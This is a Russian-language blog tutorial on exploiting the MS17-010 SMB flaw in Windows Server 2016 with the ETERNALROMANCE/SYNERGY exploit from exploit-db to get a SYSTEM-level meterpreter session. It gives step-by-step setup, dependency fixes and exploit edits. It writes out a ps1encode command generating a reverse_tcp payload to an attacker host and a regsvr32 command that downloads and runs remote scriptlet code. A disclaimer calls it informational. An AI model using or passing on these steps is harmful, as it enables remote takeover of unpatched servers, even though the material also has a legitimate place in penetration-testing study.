Найти в Дзене
CyberSimpl

Удаленное управление

В этой статье рассмотрим, как использовать самую известную уязвимость Eternalblue. Когда компания Microsoft выпустила патчи для уязвимости MS17-010, было сообщено, что проблема касается платформ, начиная от Windows 7 (если быть совсем точным, то и Windows Vista тоже) и заканчивая Windows Server 2016. Хотя эксплоиты под кодовым названием "ETERNALS", опубликованные группой TheShadowBrokers, которые пригодны для эксплуатации в Windows Server 2012 и более современных системах, - очень нестабильны и в 99% случаев вызывают BSOD на машине жертвы. Приступим! В этой статье будут даны пошаговые рекомендации для того, чтобы эксплоит работал корректно, а также разъяснения относительно модификации с целью получения meterpreter-сессии на целевой машине. Для настройки лабораторной среды нужно сконфигурировать следующие системы: Целевая система - Windows Server 2016 Эта машина с установленной 64-битной операционной системой Windows Server 2016 будет использоваться в качестве целевой. После установки
Оглавление

В этой статье рассмотрим, как использовать самую известную уязвимость Eternalblue.

Когда компания Microsoft выпустила патчи для уязвимости MS17-010, было сообщено, что проблема касается платформ, начиная от Windows 7 (если быть совсем точным, то и Windows Vista тоже) и заканчивая Windows Server 2016. Хотя эксплоиты под кодовым названием "ETERNALS", опубликованные группой TheShadowBrokers, которые пригодны для эксплуатации в Windows Server 2012 и более современных системах, - очень нестабильны и в 99% случаев вызывают BSOD на машине жертвы.

Приступим!

В этой статье будут даны пошаговые рекомендации для того, чтобы эксплоит работал корректно, а также разъяснения относительно модификации с целью получения meterpreter-сессии на целевой машине.

Для настройки лабораторной среды нужно сконфигурировать следующие системы:

Целевая система - Windows Server 2016

Эта машина с установленной 64-битной операционной системой Windows Server 2016 будет использоваться в качестве целевой.

-2

После установки операционной системы дополнительные настройки не требуются. Достаточно знать IP-адрес и убедиться в том, что машина включена на момент атаки.

Система злоумышленника - GNU/Linux

Возможно использование любой другой операционной системы, которая поддерживает работу следующих инструментов:

  • Python v2.7 - https://www.python.org/download/releases/2.7/
  • Ps1Encode - https://github.com/CroweCybersecurity/ps1encode
  • Metasploit Framework - https://github.com/rapid7/metasploit-framework

В итоге у нас есть две настроенные машины, используемые в лабораторной среде:

  • Windows Server 2016 x64 – IP-адрес: 10.0.2.13 - Целевая система.
  • GNU/Linux Debian x64 – IP-адрес: 10.0.2.6 - Система злоумышленника.

Получение эксплоита

Эксплоит можно скачать по следующей ссылке:

https://www.exploit-db.com/exploits/42315/.

Поскольку скрипт написан на Python, сохраняем файл с расширением .py на машине злоумышленника. Во время запуска возникает следующая ошибка:

-3

Решение проблем с зависимостями

В третьей строке эксплоита импортируется модуль "mysmb", которого нет в Python. Установить этот модуль, разработанный Sleepya, можно установить при помощи утилиты pip, либо скачать по следующей ссылке: https://github.com/worawit/MS17-010/blob/master/mysmb.py.

Файл модуля с именем "mysmb.py" помещаем в папку со скриптом. Для того чтобы эксплоит смог импортировать код модуля, необходимо создать файл с именем «__INIT__.py» с перечнем нужных модулей.

Теперь скрипт сможет найти нужный модуль и не будет выдавать ошибок:

-4

Проверка работоспособности эксплоита

Возможна проверка работоспособности эксплоита без каких-либо модификаций. Если мы запустим скрипт как есть по завершению работы в корневой директории диска C:\ на целевой машине будет создан файл с именем "pwned.txt".

Несмотря на то, что в простейшем случае никакие изменения не требуются, конкретно в вашей ситуации может потребоваться модификация некоторых параметров.

Аутентификация

Уязвимость, используемая в эксплоите ETERNALROMANCE/SYNERGY, требует аутентификации. Эксплуатацию можно осуществить через гостевую учетную запись. Если гостевой аккаунт отключен, нам нужно получить имя пользователя и пароль любой другой учетной записи, которая используется на целевой машине. Важно отметить, что уровень привилегий не имеет значения. Даже если учетная запись с гостевыми правами, после атаки привилегии будут повышены до системного уровня.

Информация об учетной записи задается в файле exploit.py в строках 26-27:

-5

Параметры

Для корректной работы эксплоита необходимо настроить два параметра: IP-адрес целевой машины и имя канала (pipe name). Протокол SMB поддерживает три типа общих ресурсов:

  • File: файловые (или дисковые) общие ресурсы, представляющие собой дерево директорий с файлами.
  • Print: доступ к ресурсам принтера на сервере.
  • Pipe: коммуникация между процессами, использующими модель FIFO, при помощи именованных каналов, которые активны до тех пор, пока система работает, даже если процесс уже не активен.

В отличие от ETERNALBLUE эксплоиты ETERNALROMANCE и ETERNALSYNERGY используют именованные каналы, и, соответственно, нужно выбрать тип канала, который необходим во время атаки.

Лично я пользуюсь «spoolss». Альтернативный вариант: «browser». Кроме того, можно воспользоваться сканером auxiliary/scanner/smb/pipe_auditor в metasploit для поиска доступных каналов на целевой машине.

Запуск без шелл-кода

Теперь запускаем эксплоит при помощи следующей команды:

python exploit.py <target_ip> spoolss

-6

Как было сказано ранее, если эксплуатация завершилась успешно, в корневой директории диска «C:\» появится новый файл «pwned.txt».

-7

pwned.txt

На данный момент мы уже сделали большой шаг, выполнив успешную эксплуатацию. Теперь нужно модифицировать эксплоит так, чтобы запустить шелл в meterpreter.

Создание шелл-кода

Существует множество способов запустить meterpreter-шелл или выполнить какие-либо другие действия вместо создания текстового файла.

Первый шаг – генерирование шелл-кода, который мы будем использовать в дальнейшем. Лично я очень люблю один метод, у которого масса преимуществ, когда речь заходит про обход различных защит.

Шелл-код будет помещен в файл .SCT, который эксплоит будет загружать и запускать на целевой машине, в результате чего мы получим долгожданную meterpreter-сессию.

Создание файла .SCT при помощи утилиты PS1ENCODE

Ps1encode позволяет сгенерировать и закодировать полезные нагрузки для metasploit в различных форматах на базе PowerShell.

Эту утилиту можно загрузить на github: https://github.com/CroweCybersecurity/ps1encode.

Для генерирования нужной полезной нагрузки нам необходимо запустить Ps1encode со следующими параметрами:

ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<ATTACKER_IP> --LPORT=4444 -t sct

Сгенерированный файл .SCT должен храниться на веб-сервере на машине злоумышленника или в любом другом месте, к которому можно получить доступ из целевой системы. Поэтому при запуске предыдущей команды задается вопрос о том, какой будет полный URL, где мы будем хранить файл .sct. Если будет использоваться машина злоумышленника, нужно ввести следующий URL: http://<ATTACKER_IP>.

-8

Помещение шелл-кода в место, доступное из целевой системы

На предыдущем шаге мы создали файл index.sct в папке утилиты Ps1Encode. Чтобы этот файл был доступен для загрузки эксплоитом на целевой машине мы должны поместить полезную нагрузку в папку веб-сервера и назначить нужные права.

-9

После выполнения команд, показанных на рисунке выше, у нас появляется шелл-код, готовый к употреблению.

Изменение эксплоита

Если мы откроем скрипт в текстовом редакторе и перейдем к строке 463 (и ниже), то увидим следующий код:

-10

На рисунке выше показаны функции, используемые для создания файла «pwned.txt» на целевой машине. Более интересной для нас является закомментированная строка с функцией service_exec().

Функция service_exec() в качестве примера выполняет команду «copy» для создания копии файла «pwned.txt». Эта строка кода не будет выполняться до тех пор, пока вначале стоит символ «#». Если убрать этот символ и запустить эксплоит повторно, мы увидим, что в корне диска «C:\» появилось два файла: pwned.txt и pwned_exec.txt.

Вместо команды copy можно поставить любую другую, которая нам необходима.

Запуск шелл-кода

Теперь мы знаем, в каком месте нужно модифицировать эксплоит для выполнения команды загрузки и запуска шелла в meterpreter:

regsvr32 /s /n /u /i:http://<attacker_webserver_ip>/shellcode.sct scrobj.dll

Эксплоит будет выглядеть так:

-11

Получение Meterpreter-сессии

В самом конце, перед запуском эксплоита, мы должны настроить модуль exploit/multi/handler для получения meterpreter-сессии.

-12

Далее запускаем модифицированную версию эксплоита:

-13

Через несколько секунд мы получим meterpreter-сессию на целевой машине с системными привилегиями.

-14

Наши проекты:

CyberShop - хацкерские штучки с AliExpress.

CyberSimpl - телеграмм канал

Данная статья написана исключительно в ознакомительных целях ни автор статьи, ни создатель ПО не несёт ответственности за ваши действия!
#windows #windows10 #teamviewer #metaploit #meterpreter #eternalblue #linux #android #cybersimpl #